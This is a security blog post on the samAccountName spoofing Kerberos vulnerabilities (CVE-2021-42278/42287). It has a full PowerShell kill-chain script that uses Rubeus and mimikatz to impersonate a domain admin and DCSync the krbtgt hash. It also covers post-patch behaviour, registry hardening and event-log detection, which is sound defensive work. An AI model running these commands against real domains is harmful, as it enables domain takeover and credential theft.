Inhalt

Exploit samAccountName spoofing with Kerberos

When Microsoft released the November 2021 patches, the following CVEs caught the eye of many security professionals because they allow impersonation of a domain controller in an Active Directory environment.

CVE-2021-42278 addresses a security bypass vulnerability that allows potential attackers to impersonate a domain controller using computer account sAMAccountName spoofing.

CVE-2021-42287 addresses a security bypass vulnerability that affects the Kerberos Privilege Attribute Certificate (PAC) and allows potential attackers to impersonate domain controllers.

Those two vulnerabilities combined allow a straightforward path to Domain Admin in every Active Directory environment with default settings and even in hardened environments, a impersonation attack to reach by Domain Admin is quite easy to achieve without having access to a tier 0 machine or account.

Attribution

It’s worth noting that everything I write about in this blog post is based on the work of many other people.

Charlie Clark @exploitph and Ceri Coburn @ethicalchaos first published their findings and the complete exploit steps. Also thanks to @_nwodtuhs who also published the information on his homepage www.thehacker.recipes.

Special thanks to Kevin Robertson for Powermad, Will Schroeder aka @harmj0y for PowerView and Rubeus, and Benjamin Delpy aka gentilkiwi for mimikatz and all the people working on those projects.

Attack scenarios

Scenario 1

The attacker has gained foothold on a workstation. The domain is using the default configuration and the logged on user therefore has the flowing permissions:

The first one translates to “Add workstations to domain” but can only be abused if the MS-DS-Machine-Account-Quota parameter is not set to 0. In this case any user can create up 10 (default) computer objects in Active Directory.

Scenario 2

The attacker has gained foothold on a workstation. The domain is hardened to some extend and not every user can create a computer object. The attacker has to get ahold of any AD user that has the following permission.

  • SeMachineAccountPrivilege
  • CreateChild of object type Computer (bf967a86-0de6-11d0-a285-00aa003049e2) in any AD organizational unit or the default Computers container

This could be an automation account that is used for domain join or a helpdesk user that was granted those permissions. Since those permissions where not seen as problematic, this shouldn’t be to much of a problem.

Scenario 3

As @exploitph correctly stated on Twitter you can also use this attack vector when creating a user object. Check his blog post for additional information.

Attack

Notiz
All commands used in this example use defined credentials of a unprivileged user from a non domain joined Windows workstation.
Notiz
If scenario 2 is used, the attacker has to create the computer object in a AD organizational unit that she has access to.

The attacker creates a computer object using those permissions with a password known to her. After that she clears the attribute ServicePrincipalName on the computer object. Because she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.

/exploit-kerberos-samaccountname-spoofing/images/Attack-Step-1.png

Here is the list of all permissions the CREATOR OWNER is granted by default. This information is accessible in the Active Directory Schema.

/exploit-kerberos-samaccountname-spoofing/images/defaultSecurityDescriptor-Computer.png

Now she changes the SamAccountName of the computer object to the name of any domain controller without the trailing $. By default every computer account uses this as the last character of the SamAccountName.

/exploit-kerberos-samaccountname-spoofing/images/Attack-Step-2.png

If the domain controller is called DC01 the samAccountName of the domain controller would be DC01$. The attacker changes the SamAccountName of her computer object to DC01. Active Directory does not check for this behavior and let her change the name. This is CVE-2021-42278.

/exploit-kerberos-samaccountname-spoofing/images/Attack-Step-2-1.png

Now, using Rubeus, she requests a Kerberos TGT for the account “DC01” using the password she used to create the computer object. The Kerberos TGT is created and must be kept for the next steps.

/exploit-kerberos-samaccountname-spoofing/images/Attack-Step-3.png

After that she has the TGT she now changes the SamAccountName of the computer back to the original value ControlledComputer$.

/exploit-kerberos-samaccountname-spoofing/images/Attack-Step-4.png

This is the part where the KDC messes up (CVE-2021-42287). Using the TGT she now requests a TGS for the ldap/ SPN on the Domain Controller, using S4U for the Domain Administrator account. Since there is no longer any account with the samAccountName DC01 the KDC tries to find something similar and adds the $ sign. Since this is a valid computer object, the domain controller, and it has the needed permissions to get a TGS for the Domain Admin the KDC returns the key to the kingdom.

/exploit-kerberos-samaccountname-spoofing/images/Attack-Step-5.png

To demonstrate that the attacker now has access to the domain controller, I added an additional TGS for cifs/DC01 and could access the system root drive over the network. This is not necessary for the attack to work.

/exploit-kerberos-samaccountname-spoofing/images/Attack-Step-5-1.png

For persistence the attacker can now use mimikatz to dump the Hash HTML of the krbtgt account. For this a TGS for ldap/DC01 must be obtained.

/exploit-kerberos-samaccountname-spoofing/images/Attack-Step-5.png

Automated kill chain

Using a simple script this complete attack can be automated

#region Preparations
klist purge
. "$($env:USERPROFILE)\Downloads\Powermad-master\Powermad.ps1"
. "$($env:USERPROFILE)\Downloads\PowerView.ps1"
#endregion

#region Use a unpriv user to start this attack. If you are already on a domain joined machine you won't need to this and have to remove the $Creds variable from later commands
$Password = ConvertTo-SecureString 'Pa$$word' -AsPlainText -Force
[pscredential]$Creds = New-Object System.Management.Automation.PSCredential ("DOMAIN\USERNAME", $password)
cls
#endregion

#region create a computer account
Write-Output "Create a new Computer Account"
$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "ControlledComputer" -Password $password -Domain "cve.lab" -DomainController "DC01.cve.lab" -Credential $Creds  -Verbose
#endregion

#region Remove ServicePrincipalName attribute
Write-Output "Clear SPN from Computer Account object"
Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=CVE,DC=LAB" -Clear 'serviceprincipalname' -Server dc01.cve.lab -Credential $Creds -Domain cve.lab -Verbose
#endregion

#region Change SamAccountName
Write-Output "Rename SamAccountName to DC01"
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DC01" -Attribute samaccountname -Credential $Creds -Domain cve.lab -DomainController dc01.cve.lab -Verbose
#endregion

#region Obtain a TGT
Write-Output "Obtain TGT from DC01 using password from created computer object"
. "$($env:USERPROFILE)\Downloads\Rubeus-pac\Rubeus\bin\Debug\Rubeus.exe" asktgt /user:"DC01" /password:"ComputerPassword" /domain:"cve.lab" /dc:"DC01.cve.lab" /outfile:kerberos.tgt.kirbi
#endregion

#region Change SamAccountName back
Write-Output "Rename SamAccountName back to DControlledComputer`$"
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer$" -Attribute samaccountname -Credential $Creds -Domain cve.lab -DomainController dc01.cve.lab -Verbose
#endregion

#region Obtain TGS for CIFS access
Write-Output "Get TGS for CIFS/DC01"
. "$($env:USERPROFILE)\Downloads\Rubeus-pac\Rubeus\bin\Debug\Rubeus.exe" s4u /self /impersonateuser:"Administrator" /altservice:"cifs/DC01.cve.lab" /dc:"DC01.cve.lab" /ptt /ticket:kerberos.tgt.kirbi
#endregion

#region Verify access
Write-Output "Check file access to DC01"
Get-Childitem \\DC01.cve.lab\c$
#endregion

#region DCSync krbtgt for persistence
Write-Output "Get TGS for LDAP/DC01"
. "$($env:USERPROFILE)\Downloads\Rubeus-pac\Rubeus\bin\Debug\Rubeus.exe" s4u /self /impersonateuser:"Administrator" /altservice:"ldap/DC01.cve.lab" /dc:"DC01.cve.lab" /ptt /ticket:kerberos.tgt.kirbi
Write-Output "Use mimikatz to do a dcsync for account krbtgt to establish persistence"
. "$($env:USERPROFILE)\Downloads\mimikatz_trunk\x64\mimikatz.exe" "kerberos::list" "lsadump::dcsync /domain:cve.lab /kdc:DC01.cve.lab /user:krbtgt" exit
#endregion

/exploit-kerberos-samaccountname-spoofing/images/SamAccountNameSpoofing.gif

Changes after applying the patch

Warnung
Microsoft issued Out-Of-Band patches for Windows Server 2016 and 2019 because the initial fix broke Kerberos S4u2self in many cases completely. For background information what broke the initial fix check this post from @exploitph.

Changes to SamAccountName change behavior

As soon as the November patch is applied any change of the samAccountName to a different value is protected by additional checks to prevent a normal user to change it to something with a $ sign at the end.

When the attacker changed the samAccountName at the end of the attack back to the vulnerable value this is not changed by installing the patch.

Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DC01" -Attribute samaccountname -Domain cve.lab -DomainController dc01.cve.lab -Verbose

/exploit-kerberos-samaccountname-spoofing/images/SAMAfterPatch.png

Warnung
Any user with administrative permissions is still able to change the samAccountName to any value.

/exploit-kerberos-samaccountname-spoofing/images/AdminChangeSamAccountName.png

Use of previous obtained TGT

Should the attack be in possession of a TGT that was issued before the she can still use it to obtain valid TGS. Because we obtain a TGS with Domain Admin permissions this also means we can change the samAccountName back after the attack took place and reuse it at a later time.

$Password = ConvertTo-SecureString 'Pa$$word' -AsPlainText -Force
[pscredential]$Creds = New-Object System.Management.Automation.PSCredential ("DOMAINSERNAME", $password)
# Set samAccountName to a valid value to use TGT
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer$" -Attribute samaccountname -Credential $Creds -Domain cve.lab -DomainController dc01.cve.lab -Verbose

# Obtain TGS for LDAP/DC01 using the previous obtained TGT
. "$($env:USERPROFILE)\Downloads\Rubeus-pac\Rubeus\bin\Debug\Rubeus.exe" s4u /self /impersonateuser:"Administrator" /altservice:"ldap/DC01.cve.lab" /dc:"DC01.cve.lab" /ptt /ticket:kerberos.tgt.kirbi
Write-Output "Use mimikatz to do a dcsync for account krbtgt to establish persistence"
. "$($env:USERPROFILE)\Downloads\mimikatz_trunk\x64\mimikatz.exe" "kerberos::list" "lsadump::dcsync /domain:cve.lab /kdc:DC01.cve.lab /user:krbtgt" exit

Write-Output "Because we have a valid TGS let's change the samAccountName again to DC01"
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DC01" -Attribute samaccountname -Domain cve.lab -DomainController dc01.cve.lab -Verbose

/exploit-kerberos-samaccountname-spoofing/images/ExploitAfterPatch.gif

But this behavior goes not undetected. The patch installed a additional detection mechanism and logs the following event in the security log of the domain controller.

/exploit-kerberos-samaccountname-spoofing/images/DetectionOfTGSAttack.png

Obtain a new TGT and use it for exploitation

Still assuming the attack has a computer object with the malicious samAccountName in place, lets see what happens if she tries to do the full kill chain again.

  1. Obtain TGT
  2. Change SamAccountName
  3. Obtain TGS using the new TGT
  4. DCSync krbtgt
# Obtain new TGT
. "$($env:USERPROFILE)\Downloads\Rubeus-pac\Rubeus\bin\Debug\Rubeus.exe" asktgt /user:"DC01" /password:"ComputerPassword" /domain:"cve.lab" /dc:"DC01.cve.lab" /outfile:kerberosAfterPatch.tgt.kirbi

$Password = ConvertTo-SecureString 'Pa$$word' -AsPlainText -Force
[pscredential]$Creds = New-Object System.Management.Automation.PSCredential ("DOMAINSERNAME", $password)
# Set samAccountName to a valid value to use TGT
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer$" -Attribute samaccountname -Credential $Creds -Domain cve.lab -DomainController dc01.cve.lab -Verbose

# Obtain TGS for LDAP/DC01 using the previous obtained TGT
. "$($env:USERPROFILE)\Downloads\Rubeus-pac\Rubeus\bin\Debug\Rubeus.exe" s4u /self /impersonateuser:"Administrator" /altservice:"ldap/DC01.cve.lab" /dc:"DC01.cve.lab" /ptt /ticket:kerberosAfterPatch.tgt.kirbi
Write-Output "Use mimikatz to do a dcsync for account krbtgt to establish persistence"
. "$($env:USERPROFILE)\Downloads\mimikatz_trunk\x64\mimikatz.exe" "kerberos::list" "lsadump::dcsync /domain:cve.lab /kdc:DC01.cve.lab /user:krbtgt" exit

Write-Output "Try to change the samAccountName back to the wrong samAccountName"
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DC01" -Attribute samaccountname -Domain cve.lab -DomainController dc01.cve.lab -Verbose

/exploit-kerberos-samaccountname-spoofing/images/TGTAfterPatch.gif

This attack is no longer possible. The newly created TGT contains additional information in the PAC part of the ticket that is used to verify if the original requestor is the one using the TGT to request a TGS.

The domain controller logs the following event in this case.

/exploit-kerberos-samaccountname-spoofing/images/DetectionOfTGTAttack.png

Further Hardening

The behavior using the previous obtained TGT is not becaue of an incomplete patch attempt but part of Microsoft efforts to allow for a transition phase until all domain controllers have installed the update and all kerberos tickets are secured with the additional requestor information.

The deadline for enforcing the new changes in all environments is July 12 2022.

Until April 12 2022 the administrator could even disable this security check (TGT) completely.

To protect your environment before this date you can create a registry value named PacRequestorEnforcement of type REG_DWORD in the registry subkey HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Kdc and assign it a value of 2.

After this any old TGT without the proper validation information cannot be used anymore.

Warnung
If you enable this and any domain controller in your environment is not patched, this enforcement will break operation for regular users that have obtained their TGT from the unpatched DC. Apply the patch first, monitor your event logs and enforce after you are sure there are no negative side effects.
New-ItemProperty HKLM:\System\CurrentControlSet\Services\Kdc -Name PacRequestorEnforcement -Value 2 -Type Dword

/exploit-kerberos-samaccountname-spoofing/images/PacRequestorEnforcement.png

/exploit-kerberos-samaccountname-spoofing/images/PacRequestorEnforcementBreaksAttack.png

/exploit-kerberos-samaccountname-spoofing/images/PacRequestorEnforcementDetection.png

Detection

To find any computer accounts that have a invalid SamAccountName property use this query.

Get-ADComputer -Filter { samAccountName -notlike "*$" }

To quickly analyze your domain controller event logs, you can use the following PowerShell code. It uses PowerShell Remoting to execute the Get-WinEvent locally on the DC which is faster and only the WinRM ports must be open on firewall of the domain controller. I also published it as a public gist on GitHub.

<#
    CVE-2021-42287 - Authentication updates
    CVE-2021-42278 - Active Directory Security Accounts Manager hardening changes
    These updates introduced additional Event Ids to monitor.
    Use this script to check every domain controller for those eventIds
#>
$EventIds = @{
    35    = "PAC without attributes"
    36    = "Ticket without a PAC"
    37    = "Ticket without Requestor"
    38    = "Requestor Mismatch"
    16990 = "Object class and UserAccountControl validation failure"
    16991 = "SAM Account Name validation failure"
}

$DomainController = Get-ADDomain | Select-Object -ExpandProperty ReplicaDirectoryServers
foreach ($ComputerName in $DomainController) {
    $Events = Invoke-Command -ComputerName $ComputerName -ScriptBlock { param([string[]]$EventIds) $EventIds | Out-Null ; Get-WinEvent -EA 0 -FilterHashtable @{LogName = 'System'; id = $EventIds } | Where-Object { $_.ProviderName -in @('Microsoft-Windows-Kerberos-Key-Distribution-Center', 'Microsoft-Windows-Directory-Services-SAM') } } -ArgumentList (, $EventIds.Keys)

    foreach ($Event in $Events) {
        [PSCustomObject]@{
            TimeCreated = $Event.TimeCreated
            Id          = $Event.Id
            EventGroup  = $EventIds[$Event.Id]
            Reason      = $Event.Message
        }
    }
}

If you have a central logging you can monitor for the following event Ids.

Log ProviderName EventId Description
System Microsoft-Windows-Kerberos-Key-Distribution-Center 35 PAC without attributes
System Microsoft-Windows-Kerberos-Key-Distribution-Center 36 Ticket without a PAC
System Microsoft-Windows-Kerberos-Key-Distribution-Center 37 Ticket without Requestor
System Microsoft-Windows-Kerberos-Key-Distribution-Center 38 Requestor Mismatch
System Microsoft-Windows-Directory-Services-SAM 16990 Object class and UserAccountControl validation failure
System Microsoft-Windows-Directory-Services-SAM 16991 SAM Account Name validation failure

Conclusion

The exploitation of those vulnerabilities is almost too easy. Even if you established a proper tier security model it is no protection for this attack.

Therefor it is important to patch your domain controllers as fast as possible and switch to enforcement mode soon after. Also check you environment for any computer objects without proper naming. If this should be the case and there is no business need that justified this change, change it back and check your logs for any indicators of compromise.